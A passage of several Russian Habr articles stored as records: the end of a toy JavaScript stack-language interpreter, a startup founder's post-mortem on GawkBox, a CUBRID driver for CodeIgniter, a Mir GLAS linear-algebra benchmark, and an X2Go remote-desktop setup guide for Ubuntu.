Если есть переменная с таким именем — положить её значение в стек.
Если есть функция с таким именем — вызвать её. Функция call
Если одна из математических операция — вызовем её. Функция mathOp
А если это -> — увеличим счетчик на 1 и присвоим переменной имя которой есть текущая лексема значение с вершины стека.
`this.exec = function(code,op){
op = op || 0;
for(var cp=0;cp
if(code[cp]=='op'){this.stack.push(op)}
else if(code[cp].isNum()){this.stack.push(parseFloat(code[cp]))}
else if(this.vars[code[cp]] != undefined){this.stack.push(this.vars[code[cp]])}
else if(this.funs[code[cp]] != undefined){this.call(code[cp])}
else if(this.mathOps.oneOf(code[cp])){this.mathOp(code[cp])}
else if(code[cp] == '->'){cp++;this.vars[code[cp]]=this.stack.pop();}}}//`
##### Математические операции
Создадим массив с возможными математическими операциями.
`this.mathOps = ['+','-','*','/'];`
А теперь определим функцию. которая будет брать два верхних значения из стека и класть результат операции на верх стека.
`this.mathOp = function(op){
nums = [this.stack.pop(),this.stack.pop()];
this.stack.push(eval(nums[1] + ' ' + op + ' ' + nums[0]));}`
##### Функции
А теперь поговорим о функциях, как уже было сказано будет сопоставления но его реализация будет очень простой за счет простой модели хранения функций.
Функции будут храниться в списке funs, и при этом каждая функция будет списком в котором элементом с ключом 'op' будет функция без сопоставления, а все остальные будут с сопоставлением и при этом ключ и будет шаблоном для сопоставления.
Напишем метод определения функции:
`this.define = function(code){
eq = code.pos('='); //Определим позицию знака равно
op = code[eq-2] || 'op'; //Шаблоном будет элементом с ключом на 2 меньше знака = но если его нет то 'op'
name = code[eq-1]; //Именем будет элементом с ключом на 1
cmds = code.slice(eq+1); //А телом будут все элементы с ключом на 1 больше
if(this.funs[name] == undefined){this.funs[name] = [];} //Если функция с данным именем отсутствует, то определим
this.funs[name][op] = cmds; //Теперь занесем это в массив функций}`
А теперь будем вызывать функции, для этого выделим метод call (Большинство, а особенно программисты на ассемблере точно не найдут название смешным)
`this.call = function(fun){
op = this.stack.pop(); //Получаем операнд
cd = this.funs[fun][op] || this.funs[fun]['op']; //Ищем функцию с совпадением иначе берем универсальную
this.exec(cd,op);} //И выполняем её код`
##### Попробовать:
Псевдо-консоль находится [тут](http://art543484.narod.ru/h.html). Там же расположены примеры. | https://habr.com/ru/post/111151/ | null | ru | null |
# Уроки от начинающего основателя и генерального директора GawkBox
#### После 3-х лет, 4.4-х миллионов долларов инвестиций, 500 000 пользователей и более 1 миллиона долларов дохода, мы просто закрылись. Уроки от начинающего основателя и генерального директора.
Прошло несколько недель с тех пор, как я объявил, что мы закрываем наш продукт GawkBox и распускаем всю нашу команду.
Когда кто-нибудь создает компанию и направляет в нее столько усилий, закрытие компании — это не тот результат, на который вы рассчитываете. Это был результат, который мы считали, никогда не случится с нами. Мы начинали с амбициозной целью: помочь создателям контента получать деньги, делая то, что они любят. Мы заработали более 1 млн. долларов в первые 18 месяцев работы. В 2017 году наш продукт вышел на сцену, и мы увидели приток сотен тысяч новых пользователей. Мы заплатили более 1 млн долларов почти 20 тысячам создателей контента. Мы собрали в общей сложности 4,4 млн долларов за два раунда финансирования от невероятных инвесторов — GawkBox была лошадкой, на которую хочется сделать ставку, и многие люди так и делали. Тем не менее, после 3-х лет попыток, мы так и не смогли найти бизнес-модель, которая бы заставила наш бизнес работать.
Я провел месяц за анализом моего опыта работы в качестве генерального директора — вспоминая ключевые моменты и судьбоносные решения с момента основания GawkBox. И хотя я предпочел бы написать вдохновляющую историю успеха, за последние несколько недель размышлений я понял, что можно извлечь из нашего приключения множество уроков, даже несмотря на результат. Я решил написать этот пост, чтобы поделиться наиболее важными уроками, которые я извлек из моего опыта в GawkBox.
### 1. Будьте как можно ближе к вашим клиентам, чтобы понять их самую большую проблему
На мой взгляд, самым важным показателем потенциального успеха бизнеса является то, насколько хорошо вы знаете своих клиентов. Крайне важно понять их самые большие проблемы, чтобы иметь возможность экспериментировать и предлагать им подходящие для них решения. Настолько же важно быть с ними рядом на протяжении всего времени, пока вы работаете над постепенным улучшением продукта — это практически гарантирует, что вы не сразу получите готовый продукт, а клиенты будут важным инструментом, который поможет вам на пути.
Мой опыт на протяжении последних 3-х лет научил меня нескольким вещам в этом.
*Чем больше у вас различных типов клиентов, тем труднее вам будет понять их достаточно глубоко.*
В GawkBox ценность нашего продукта была уникальной и несколько сложной — мы дали зрителям потоковых сервисов возможность помочь авторам видео-каналов, играя в мобильные игры от наших спонсоров за пожертвования авторам каналов. В результате у нас было три различных типа клиентов — поставщики игр (рекламодатели), зрители и авторы каналов.
На то, чтобы понять своего клиента, нужно время. А сделать это сразу с тремя типами клиентов почти невозможно, и это привело к недостатку внимания.
*Данные от неправильного типа клиента могут дезориентировать вашу стратегию.*
В GawkBox мы проделали большую работу, поговорив с авторами контента — наша команда по работе с сообществами установила долговременные и ценные отношения внутри сообществ Twitch, YouTube и Mixer. Тем не менее, мы недооценили обратную связь и советы клиентов, как было необходимо, принимая во внимание их потенциальное влияние на наш бизнес. Нам было необходимо получить как можно больше популярных авторов по всему миру, чтобы достичь масштабов, необходимых для того, чтобы сделать нашу рекламу на основе нашей модели работы. В то время как мы имели прочные связи с не очень популярными авторами (<100 зрителей), они часто имели совершенно другие приоритеты и цели, чем у популярных авторов, у которых были тысячи зрителей. Это привело нас к принятию решений, основанных на том, как мало популярные авторы смотрели на мир и созданию продукта, который мы не знали, насколько подходил для популярных авторов — клиентов, которые были нам необходимы для того, чтобы заставить наш бизнес работать.
*Не стойте в вакууме — используйте данные о ваших клиентах в вашей команде.*
Слишком часто мы тратили столько времени на разработку функций, которые мы думали будут решать проблему, которую мы обсуждали с нашими клиентами. Слишком часто мы добавляли возможности, которыми пользовались редко, или что еще хуже бесили пользователей. Мы построили слишком много вещей в вакууме. Хотя я считаю, что вы не можете полностью избавиться от догадок и предположений, связанные с запуском инновационного продукта, но вы можете предпринять шаги, чтобы увеличить ваши шансы на успех, общаясь с вашим клиентом как можно чаще, и вовлекая их в процесс разработки продукта. К концу жизни нашей компании, мы запустили Консультативный совет по продукту и позволили небольшой группе авторов каналов играть значительную роль в развитии нашего продукта — от проектирования до тестирования. К сожалению, мы не продвинулись в этом настолько, чтобы вовлечь их в процесс разработки продукта.
*Генеральный директор тоже должен общаться с клиентами!*
Как генеральный директор, я не разговаривал с достаточным количеством клиентов на раннем этапе развития компании — часто делегируя общение нашей команде по взаимодействию с сообществами. Генеральному директору трудно найти время среди миллиона других вещей, но главное что я понял — это то, что взаимодействие с клиентами должно быть вашим главным приоритетом. Культура понимания клиента должна быть поставлена во главу угла во всей организации, культура, которая начинается с генерального директора.
Вывод: Определить правильных клиентов вашего бизнеса, вовлечь их в процесс проектировании и разработки. Потратьте с клиентами столько времени сколько возможно — особенно это важно для учредителей / генерального директора.
### 2. Создавайте продукт, в котором нуждаются ваши клиенты
Мы решили дать возможность 99% зрителей, которые никогда не делали денежные пожертвования любимых авторам, сделать это бесплатно. Наш тезис о том, что «бесплатные пожертвования» могут вырасти в более значительный источник дохода, чем пожертвования денежных средств — отражал тенденцию в мире мобильных игр, где реклама в приложениях создавала больше денег, чем покупки в приложениях, в некоторых категориях. Чтобы наш продукт был успешным, нам нужны были зрители которые хотели пожертвовать своим любимым авторам.
В итоге мы узнали, что во многих случаях зрители потоковых сервисов не настолько альтруистичны. Иногда зрители получили благодарность за пожертвования в прямом эфире, но многие зрители ничего не получали взамен за пожертвование автору — это означало, что мы слишком зависели от благосклонности зрителей в том, чтобы они продолжали использовать наш продукт.
Мы поняли что полагаться на филантропию зрителя было нелегко. Мы экспериментировали с различными функциями, чтобы создать более очевидную ценность для зрителя, но с сомнительным успехом. Так как зрители не получали достаточно, чтобы продолжать использовать наш продукт, авторы, которые надеялись на их пожертвование также начали уходить. После того как авторы каналов начали уходить, наши спонсоры с мобильными играми тоже испарились.
Вывод: Создавайте продукт, который избавляет клиентов от их реальной боли, так чтобы они не просто платили за это, но и платили за это… неоднократно. Мы создали продукт, в котором зрители не видели достаточно ценности, чтобы продолжать использовать — мы полагались на альтруизм, а не на необходимость, для роста нашего бизнеса.
### 3. Продвижение настолько же важно, как и сам продукт
Джастин Кан (Justin Kan [@justinkan](https://twitter.com/justinkan)) написал в ноябре 2018 года:
`*Основатели-новички одержимы продуктом.
Основатели с опытом одержимы продвижением.
Это настолько же важно как сам продукт. А иногда даже важнее.*`
Я согласен с оценкой Джастина — и в моем личном случае продвижение будет настолько же важным, как продукт, когда я возьмусь за следующий проект. В GawkBox мы основывались на предположениях о росте, но не продумывали модель продвижения стратегически.
*Проработайте детальное понимание о том, сколько клиентов вам нужно для того, чтобы достичь ключевых этапов развития.*
Мы подготовили прогноз для оценки того, какие продажи нам нужны для достижения наших целей, мы сделали предположения, основанные на наших ранних данных. К сожалению, наши ранние данные были неточными и наш доход с клиента был гораздо был гораздо выше, чем ожидалась в течение наших первых 3-х месяцев, потому что наши рекламодатели платили нам по завышенной ставке. Это ранние данные привели нас к тому что мы построили стратегию на мало популярных каналах в предположении, что мы получим достаточный доход с них.
Когда доход от рекламодателей упал до средних значений, наши доходы значительно снизились — что означало, что мы должны были получить гораздо больше авторов для достижения наших целей. Если бы мы более чутко реагировали на эти важные сигналы в бизнесе, мы, вероятно, сделали бы другие выводы о наших продажах и стратегии продукта.
*Разработайте стратегию продвижения для тех клиентов которые приносят вам реальный доход.*
Мы обнаружили, что продвижение любого из наших продуктов среди авторов онлайн трансляций было чрезвычайно трудным. В то время как у нас получилось заинтересовать около 20 тысяч авторов, это было чрезвычайно трудоемким и дорогостоящим мероприятием — 2-х лет прямых продаж, со стратегией продаж (и стоимостью приобретения), более близким к B2B SAAS. Разница была — наш доход с клиента был мизерным в сравнении.
*Мы концентрировались не на тех клиентах.*
Прямые трансляции очень распространены. Согласно данным Streamlabs, есть более 7 млн активных авторов в Twitch, YouTube и Mixer в среднем меньше 30 зрителей на трансляцию. Большинство авторов имеют такие маленькие аудитории, что могут оказывать только самое минимальное влияние на наш бизнес. Если бы мы сконцентрировались на топ 5000 авторов, которые обеспечивают 0.75% всех трансляций на Twitch, мы бы достигли гораздо лучших результатов, так как у них самая большая аудитория. Интересно, что позже мы обнаружили, что расходы на получение клиента очень мало зависят от размера их аудитории — многие авторы постоянно бомбардируются новыми инструментами и промо-акциями, что делает конкуренцию за их внимание ожесточенной. В конце концов, мы так и не смогли найти эффективный, масштабируемый способ продвижения среди авторов и наши затраты на приобретение клиента были намного выше получаемого дохода с клиента — в среднем соотношение затрат на маркетинг к доходу с клиента было всего 0.14.
*Будьте всегда открыты для партнерства в продвижении.*
Зная размер клиентов, которых мы должны были бы приобрести, чтобы сделать наш бизнес прибыльным и учитывая сложность приобретения и отсутствие масштабируемых каналов для их приобретения, мы должны были больше думать о партнерстве, чтобы выйти на новые каналы сбыта. Помимо самых крупных платформ, есть только несколько компаний в потоковом бизнесе, у которых действительно большие успехи в продвижении. Однако мы стали слишком зацикливаться на опасениях, что они будут конкурировать с нами вместо того, чтобы изучить возможности потенциального партнерства — и в конечном счете, наша паранойя о конкуренции помешала нам рассмотреть варианты возможного партнерства, которое могло бы оказать существенное влияние на наше продвижение.
Вывод: Внимательно разобраться как модели продвижения влияют на экономику продукта (расходы на получение клиента / доход с клиента) и постоянно пересматривать предположения, основываясь на новых данных. Высокий доход необходим при прямых продажах, низкий доход с клиента допустим, если у вас есть масштабируемые каналы продвижения.
### 4. Убедитесь что люди нуждаются в вашем продукте, прежде чем инвестировать в рост
После того, как мы получили последний раунд финансирования, мы спешно приступили к реализации наших планов роста численности персонала в действие — увеличив команду в два раза до почти около 20 человек в течение 3 месяцев, и значительно увеличили наши ежемесячные операционные расходы. К сентябрю 2017 года мы тратили столько же на продажи и маркетинг столько же, как сколько и на разработку. В тот момент у нашего продукта были плохие показатели удержания.
Поразмыслив, мы увеличили расходы на продажи и маркетинг, тратя на это непомерно больше, чем на развитие продукта. Я считаю, что вместо расширения мы должны были сосредоточить ресурсы на проектировании и разработке для прототипирования функций продукта вместе с нашими основными клиентами, чтобы проверять свои идеи и улучшить удержание. Вместо этого мы потеряли концентрацию. Так как мы увеличили штат и количество наших клиентов, мы стали все больше отвлекаться и не могли сфокусироваться на проверке подходящих решений для подходящих клиентов.
Вывод: Не расширяйте бизнес (в частности, в области продаж и маркетинга) до тех пор, пока вы не увидели положительные показатели удержания!
### 5. Судите о вашем личном успехе на основании того чему вы научились
После того как я пришел к трудному решению закрыть компанию, я задавал себе множество различных вопросов:
*«Если бы мы принимали другие решения, были ли бы мы сегодня в другом положении?»
«Что я сделал не так?»
«Я потратил на GawkBox 3 года своей жизни. Чем мне заняться теперь?»
«Смогут ли инвесторы вновь поверить в меня?»
**«Я неудачник?»***
Ощущение себя неудачником является естественной реакцией в такой ситуации. Я пришел к выводу, что сложно не судить себя на основании финансового успеха (или его отсутствия), который я ожидал разделить с моей семьей, командой, и инвесторами, которые поверили в нас.
Тем не менее, принято считать, что 90% стартапов провалятся по разным причинам, на некоторые из которых вы не можете повлиять. Хотя финансовый успех и важен, но в течении этих трех лет я узнал больше, чем за всю мою профессиональную карьеру. Этот опыт бесценен и дает мне больше шансов на успех в следующий раз.
Некоторые рекомендации, которые я получил недавно от моего друга и наставника (а также инвестора GawkBox), Джона Цвейга, запали мне в память:
Подходите к каждому проекту с целью научиться наряду с финансовыми целями. Судите о вашем успехе исходя из того, как много вы узнали.
Вывод: Трудно не быть поглощенным чувством неудачи, но важно понимать, чему вы научились и выросли, создавая компанию — часто полученные в результате знания и навыки вы вряд ли получите другим способом. Это дает мне преимущество вне зависимости от того ч, чем я стану заниматься дальше.
### Заключительные мысли
Прежде всего я ценю, что вы дочитали до этих строк!
Хотя последние несколько месяцев были сложными, и результат получился совсем не тот, к которому мы стремились, я все же горжусь тем, чего наша команда добилась в GawkBox. Выход компании на более 1 миллиона долларов дохода, 500 тысяч пользователей и 20 тысяч клиентов — это значительное достижение. Я должен сказать огромное спасибо членам команды, инвесторам и клиентам, которые присоединились ко мне на этом пути. Настолько же я ценю и благодарен за неизменную поддержку моей жены, моей семьи и друзей — которые, конечно, настолько же переживают взлеты и падения, как это делаете вы, как основатель / CEO.
Здесь я собрал лишь несколько важных уроков, которые я узнал, как генеральный директор венчурной компании. Есть, конечно, много других уроков, которые я не стал включать в эту статью, чтобы она не превратилась в роман. Если вы заинтересованы услышать их или поговорить со мной подольше, пожалуйста, не стесняйтесь связаться со мной по электронной почте [chris@brownridges.com](mailto:chris@brownridges.com).
День, когда мы завершили наш последний раунд финансирования с Madrona Venture Group. Слева на-право: Эндрю Эллисон (Соучредитель GawkBox, директор по маркетингу), Хоп Кохран (Madrona Venture Group), Дэниел Ли (Madrona Venture Group), Крис Браунридж (Соучредитель GawkBox, генеральный директор), Тони Чонг (Соучредитель GawkBox, технический директор) | https://habr.com/ru/post/507990/ | null | ru | null |
# PHP Фреймворк CodeIgniter — скоро для пользователей CUBRID
Заголовок уже говорит обо всем. Но я расскажу более подробно о начале разработки и взаимодействии CUBRID с CodeIgniter. Также здесь Вы узнаете об отличиях между CUBRID и MySQL с точки зрения разработки и адаптирования приложений.
В начале этого месяца я [решил](http://codeigniter.com/forums/viewthread/178716/#921220) поработать над драйвером CUBRID для CI — популярного PHP фреймворка, который используется очень многими Веб разработчиками. Один из веб сервисов в нашей компании хочет использовать CI у себя с CUBRID. К счастью, у этого фреймворка довольна интуитивная структура, что позволило мне быстро найти классы, которые необходимо унаследовать и реализовать для CUBRID.
Драйвера всех остальных поддерживаемых СУБД я нашел в директории */system/database/drivers*. Так как CUBRID поддерживает более 90% SQL синтаксиса MySQL, не было необходимости начинать все с нуля. Я начал работать над уже готовым MySQL драйвером для CI. На следующий день у меня уже был рабочий код CUBRID драйвера. Пару дней спустя я провел тесты (к сожалению, как сказал один из разработчиков CodeIgniter, у них еще нет юнит тестов, которые охватывали бы весь фреймворк, включая драйвера баз данных, поэтому мне пришлось писать свои тесты). Как только драйвер прошел все тесты, я связался с их разработчиками и отправил [pull-запросы](https://github.com/philsturgeon/CLOSED-codeigniter-reactor/pull/42) в главную ветку и ветку для разработок.
Ниже я опишу, какие части кода я изменил в MySQL драйвере, чтобы он стабильно заработал для CUBRID. Надеюсь, эти записи будут полезны тем, кто планирует влючить поддержку СУБД CUBRID в своих Веб приложениях.
1. **Название базы в момент соединения**
В отличие от MySQL, соединение в CUBRID производиться напрямую с базой данных, т.е. DSN должен содержать информацию о базе, к которой Вы собираетесь соединиться. Такой способ исключает необходимость «выбирать базу» после соединения. В принципе, также работает и Oracle.
`$conn = cubrid_connect($this->hostname, $this->port, $this->database, $this->username, $this->password);`
2. **Порт Брокера**
По умолчанию **33000** является портом Брокера. При необходимости это значение можно изменить в [параметрах Брокера](http://www.cubrid.org/manual/830/en/Parameter%20by%20Broker).
3. **Auto commit**
По умолчанию **auto\_commit** в СУБД CUBRID отключен (OFF). Это означает, что разработчикам необходимо делать *commit* каждой транзакции. Таким образом, пользователи могут обрабатывать запросы в так называемом *сухом режиме*, когда они могут получать результаты запросов без изменений в базе данных. Полезно во время разработок. Выводя сайт в реальный режим, Вы можете изменить значение **auto\_commit** на **ON** в конфигурационном файле CI *database.php*, как указано ниже, либо прямо в параметрах Брокера.
`$db['default']['hostname'] = 'localhost';
$db['default']['port'] = '33000';
$db['default']['username'] = 'dba';
$db['default']['password'] = 'ci_pass';
$db['default']['database'] = 'ci_demo';
$db['default']['auto_commit'] = TRUE;
$db['default']['dbdriver'] = 'cubrid';
$db['default']['dbprefix'] = 'tbl_';`
4. **Квотирование имен столбцов**
Иногда Вам необходимо создать столбец с именем, который уже [зарезервирован](http://www.cubrid.org/manual/840/en/Reserved%20Words) самой СУБД в качестве ключевого слова. В MySQL, например, такие идентификаторы (названия таблиц/столбцов/представлений и т.п.) можно брать в левые кавычки, например, `time`. В MSSQL необходимо использовать квадратные скобки ( [time] ). В Oracle — двойные кавычки ( «time» ).
В СУБД CUBRID можно использовать все три: и левые, и двойный кавычки, и квадратные скобки. Двойные кавычки можно использовать для выделения идентификаторов по умолчанию, так как значение параметра **[ansi\_quotes](http://www.cubrid.org/manual/840/en/Special%20Character%20Escape)** в конфигурационном файле CUBRID *cubrid.conf* указан как **no** (т.е. не использовать двойные кавычки для выделения строковых значений). Если же это значение изменить на **yes**, то двойные кавычки можно будет использовать только для строковых значений. Таким образом, Вы можете использовать в качестве обрамления идентификаторов тот символ, к которому Вы уже привыкли.
| | | |
| --- | --- | --- |
| | **Квотирование идентификаторов** | **Обромление строковых значений** |
| **ansi\_quotes = NO** (по умолчанию) | левые кавычки`time`
квадратные скобки [time]
двойные кавычки «time» | одинарные кавычки для строковых значений: 'normal string' |
| **ansi\_quotes = YES** | левые кавычки`time`
квадратные скобки [time] | одинарные и двойные кавычки для строковых значений: 'normal string', «normal string» |
5. **Оптимизация, Исправление, Резервное копирование**
CUBRID не предоставляет возможности манипулирования этими функциями через SQL заросы. Если необходимо оптимизировать, исправить базу данных или сделать резервное копирование, необходимо использовать главный инструмент администрирования [CUBRID Manager](http://www.cubrid.org/cubrid_manager).
Помимо этих отличий других изменений в SQL запросах я не делал, так как почти все запросы MySQL работают и в CUBRID. Это говорит о том, насколько CUBRID совместим с MySQL и насколько легко делать порт приложений, работающих с MySQL.
Этим примером я хотел показать, что адаптировать приложения, даже такие большие, как CodeIgniter, очень легко, и это займет не более нескольких дней для новичка в CUBRID. Поэтому, если Вы намереваетесь адаптировать что-либо, не колебайтесь. Это не займет много времени, Вы сами убедитесь в этом. И да, если Вам нужна помощь в этом деле, дайте нам знать на [нашем форуме](http://cubrid.org/forum), и мы будем рады помочь Вам.
Что касается исходного кода CUBRID драйвера, как Вы уже, думаю, знаете, то CodeIgniter недавно официально [перехал](https://github.com/EllisLab/CodeIgniter) на сервис GitHub. За несколько дней до этого я уже закоммитил изменения в их готовищийся [репозиторий](https://github.com/EllisLab/CodeIgniter/tree/develop/system/database/drivers/cubrid), который сейчас уже закрылся, а его код был объединен с официальным.
Сразу после перехода на GitHub один из их разработчиков сообщил, что CI выкатит поддержку CUBRID уже в версии 2.1.0. Будем ждать!
А если Вы не хотите ждать и уже желаете потестить CI + CUBRID, Вы можете слить код с ветки **develop** их официального репо. Если Вам посчастливиться найти какой-нибудь баг, я буду рад немедленно его исправить. Вы можете сообщите об этом на нашем форуме, либо в [Твиттере](http://twitter.com/cubrid).
Если будут вопросы по установке и работе с CUBRID, пишите в комментариях. Также если есть идеи насчет приложения, для которой можно разработать CUBRID драйвер, пишите. Буду рад о них поговорить. | https://habr.com/ru/post/127354/ | null | ru | null |
# Так ли быстр ваш любимый С или нативная реализация линейной алгебры на D
Тем, кто занимается системами машинного обучения и компьютерным зрением, хорошо знакома такая библиотека как OpenBLAS (Basic Linear Algebra Subprograms). OpenBLAS написан на C и используется повсеместно там где нужна работа с матрицами. Так же у него есть несколько альтернативных реализаций таких как Eigen и двух закрытых имплементацией от Intel и Apple. Все они написаны на С\С++.
В настоящий момент OpenBLAS используется в матричных манипуляциях в таких языках как Julia и Python (NumPy). OpenBLAS крайне хорошо оптимизирована и значительная её часть вообще [написана](https://github.com/xianyi/OpenBLAS/blob/develop/kernel/x86_64/sgemm_kernel_16x4_haswell.S) на ассемблере.
Однако так ли хорош для вычислений чистый C, как это принято считать?
Встречайте [Mir GLAS](http://code.dlang.org/packages/mir)! Нативная реализация библиотеки линейной алгебры на чисто D без единой вставки на ассемблере!
Для компиляции библиотеки Mir GLAS нам потребуется компилятор [LDC](https://github.com/ldc-developers/ldc) (LLVM D Compiler). Компилятор DMD официально не поддерживается т.к. он не поддерживает инструкции AVX и AVX2.
Тестовая конфигурация будет состоять из:
| | |
| --- | --- |
| CPU | 2.2 GHz Core i7 (I7-4770HQ) |
| L3 Cache | 6 MB |
| RAM | 16 GB of 1600 MHz DDR3L SDRAM |
| Model Identifier | MacBookPro11,2 |
| OS | OS X 10.11.6 |
| Mir GLAS | 0.18.0, single thread |
| OpenBLAS | 0.2.18, single thread |
| Eigen | 3.3-rc1, single thread (sequential configurations) |
| Intel MKL | 2017.0.098, single thread (sequential configurations) |
| Apple Accelerate | OS X 10.11.6, single thread (sequential configurations) |
» Код самого теста можно получить [тут](https://github.com/libmir/mir/blob/master/benchmarks/glas/gemm_report.d).
» Mir GLAS базируется на библиотеке [mir.ndslice](https://habrahabr.ru/post/277715/)
Mir GLAS может быть легко использован в любом языке поддерживающим C ABI. Делается это элементарно:
```
// Performs: c := alpha a x b + beta c
// glas is a pointer to a GlasContext
glas.gemm(alpha, a, b, beta, c);
```
Для сравнения в OpenBLAS потребуется написать следующий код:
```
void cblas_sgemm (
const CBLAS_LAYOUT layout,
const CBLAS_TRANSPOSE TransA,
const CBLAS_TRANSPOSE TransB,
const int M,
const int N,
const int K,
const float alpha,
const float *A,
const int lda,
const float *B,
const int ldb,
const float beta,
float *C,
const int ldc)
```
При проведении теста установлено следующее значение переменных:
| | |
| --- | --- |
| openBLAS | OPENBLAS\_NUM\_THREADS=1 |
| Accelerate (Apple) | VECLIB\_MAXIMUM\_THREADS=1 |
| Intel MKL | MKL\_NUM\_THREADS=1 |
Eigen собран с флагами `EIGEN\_TEST\_AVX` и `EIGEN\_TEST\_FMA`:
```
mkdir build_dir
cd build_dir
cmake -DCMAKE_BUILD_TYPE=Release -DEIGEN_TEST_AVX=ON -DEIGEN_TEST_FMA=ON ..
make OpenBLAS
```
Результаты (больше — лучше):
Итоги:
— Mir GLAS значительно опережает OpenBLAS и Apple Accelerate по всем показателям.
— Mir GLAS оказывается быстрее почти в два раза чем Eigen и Apple Accelerate при работе с матрицами.
— По скорости Mir GLAS оказывается сопоставим с проприетарным Intel MKL, который является самым быстрым в своем роде.
— Благодаря своему дизайну Mir GLAS легко может быть адаптирован для новых архитектур.
**P.S.** В настоящий момент на базе GLAS активно развивается система компьютерного зрения [DCV](https://github.com/ljubobratovicrelja/dcv).
P.P.S. Оригинальный автор присутствует в комментах под ником **9il**
» Оригинальная статья расположена в блоге [автора](http://blog.mir.dlang.io/glas/benchmark/openblas/2016/09/23/glas-gemm-benchmark.html). | https://habr.com/ru/post/311568/ | null | ru | null |
# VPS на Linux с графическим интерфейсом: запускаем сервер X2Go на Ubuntu 18.04
[](https://habr.com/ru/company/ruvds/blog/514894/)
Настройку [VNC](https://habr.com/ru/company/ruvds/blog/510860/) и [RDP](https://habr.com/ru/company/ruvds/blog/512878/) на виртуальном сервере мы уже освоили, осталось изучить еще один вариант подключения к виртуальному рабочему столу Linux. Возможности созданного компанией [NoMachine](https://www.nomachine.com/ru) протокола [NX](https://ru.wikipedia.org/wiki/NX_NoMachine) достаточно интересны, к тому же он хорошо работает через медленные каналы. Фирменные серверные решения стоят дорого (клиентские бесплатны), но существует и свободная реализация, о которой пойдет речь в этой статье — система [X2Go](https://wiki.x2go.org/doku.php). Она отпочковалась от проекта с открытым исходным кодом [FreeNX](https://ru.wikipedia.org/wiki/FreeNX), когда NoMachine прекратила его поддерживать и отпустила в свободное плавание.
Оглавление:
-----------
* [Установка графического окружения](#section1)
* [Русификация сервера и установка ПО](#section2)
* [Установка сервера X2Go](#section3)
* [Подключение к рабочему столу](#section4)
* [Запуск приложения на удаленном компьютере](#section5)
* [Преимущества X2Go](#section6)
Установка графического окружения
--------------------------------
Для виртуального графического десктопа на Linux мощные машины не нужны, пока пользователь не начнет запускать прикладные программы. Для тестов мы возьмем крепкого середнячка с Ubuntu Server 18.04 LTS с двумя вычислительными ядрами, четырьмя гигабайтами оперативной памяти и жестким диском (HDD) на двадцать гигабайт. На RuVDS уже доступны образы Ubuntu Server 20.04 LTS, процесс настройки более свежей версии будет аналогичным. Не забывайте использовать промокод Habrahabr10 для получения скидки в 10% при заказе.
В качестве окружения рабочего стола снова берем XFCE из-за относительно невысоких требований к вычислительным ресурсам. К тому же с запуском этого DE через удаленный доступ в виртуальных средах не возникает проблем:
```
sudo apt-get install xfce4 xfce4-goodies xorg dbus-x11 x11-xserver-utils
```
Русификация сервера и установка ПО
----------------------------------
На следующем этапе стоит настроить локализацию и установить минимальный набор прикладных программ: браузер, почтовый клиент и офисный пакет. Сначала инсталлируем переводы для системных программ:
```
sudo apt-get install language-pack-ru
```
Настроим локализацию:
```
sudo update-locale LANG=ru_RU.UTF-8
```
Того же эффекта можно достичь, отредактировав вручную файл /etc/default/locale.
Для локализации GNOME и KDE в репозитории есть пакеты language-pack-gnome-ru и language-pack-kde-ru — они понадобятся, если вы будете использовать программы из этих сред рабочего стола. В XFCE переводы устанавливаются вместе с приложениями. Дальше можно инсталлировать словари:
```
# Словари для проверки орфографии
sudo apt-get install hunspell hunspell-ru
# Тезаурус для LibreOffice
sudo apt-get install mythes-ru
# Англо-русский словарь в формате DICT
sudo apt-get install mueller7-dict
```
Кроме того, инсталляция переводов может потребоваться для некоторых прикладных программ:
```
# Браузер Firefox
sudo apt-get install firefox firefox-locale-ru
# Почтовый клиент Thunderbird
sudo apt-get install thunderbird thunderbird-locale-ru
# Офисный пакет LibreOffice
sudo apt-get install libreoffice libreoffice-l10n-ru libreoffice-help-ru
На этом подготовка окружения рабочего стола завершена.
```
Установка сервера X2Go
----------------------
Стабильные версии сервера и клиента X2Go можно установить из внешнего репозитория [PPA](https://launchpad.net/~x2go/+archive/ubuntu/stable) (Personal Packages Archive) на [Launchpad](https://launchpad.net/) или из штатных репозиториев актуальных релизов Ubuntu. Мы остановимся на втором варианте, поскольку версии софта в обоих источниках одинаковы, но если вам потребуются дополнительные пакеты, сторонний репозиторий придется подключить. Нам необходимо инсталлировать два пакета:
```
sudo apt-get install x2goserver x2goserver-xsession
```
В случае если вы используете окружение MATE или LXDE, дополнительные пакеты потребуются (для XFCE они не нужны):
```
sudo apt-get install x2gomatebindings # if you use MATE/mubuntu
sudo apt-get install x2golxdebindings # if you use LXDE/lubuntu
```
Вишенка на торте: X2Go работает через SSH и в дальнейшей настройке не нуждается. На VPS должен быть запущен sshd и открыт доступ к порту 22 в правилах межсетевого экрана. Поскольку речь идет про виртуальный сервер, это наверняка уже сделано из коробки. На физической машине открыть удаленный доступ по SSH несложно. Остается только проверить статус сервера X2Go:
```
sudo systemctl status x2goserver
```
Стоит также завести непривилегированного пользователя для работы с окружением рабочего стола:
```
sudo adduser desktopuser
```
Добавим пользователя в группу sudo, чтобы он мог решать связанные с администрированием задачи. Если такой потребности нет, этот шаг можно пропустить:
```
sudo gpasswd -a desktopuser sudo
```
Подключение к рабочему столу
----------------------------
Клиентское ПО X2Go для Windows, Linux и OS X можно [загрузить](https://wiki.x2go.org/doku.php/doc:installation:x2goclient) на [сайте](https://wiki.x2go.org/doku.php) проекта. Клиент под Android находится в стадии разработки, а бесплатные мобильные приложения от NoMachine с сервером X2Go несовместимы. Если на локальном компьютере установлена Ubuntu, достаточно добавить пакет x2goclient:
```
sudo apt-get install x2goclient
```
Для сохранения видового разнообразия в этот раз мы возьмем клиент для [Windows](http://code.x2go.org/releases/X2GoClient_latest_mswin32-setup.exe):
Здесь можно настроить параметры соединения, устройств ввода-вывода, а также мультимедийных устройств.
Если все сделано правильно, после подключения появится рабочий стол XFCE.
Запуск приложения на удаленном компьютере
-----------------------------------------
Иногда вместо полноценного окружения рабочего стола на удаленном компьютере нужно запустить ресурсоемкое приложение (например, IDE). Сделать это несложно, достаточно указать в настройках соединения соответствующий тип сеанса и команду.
*Браузер запущен на удаленном VPS с Ubuntu*
Есть и более экзотические варианты использования X2Go: система позволяет, например, подключиться к сессии пользователя на удаленном компьютере (как в TeamViewer). В этом случае на обеих машинах должны быть установлены и клиентские, и серверные части. Кроме того, задавать профили сессий на каждом клиенте не обязательно: можно установить и настроить x2gobroker, чтобы определить их на сервере. Для этого придется подключить [сторонний репозиторий](https://launchpad.net/~x2go/+archive/ubuntu/stable) с дополнительными пакетами.
Преимущества X2Go
-----------------
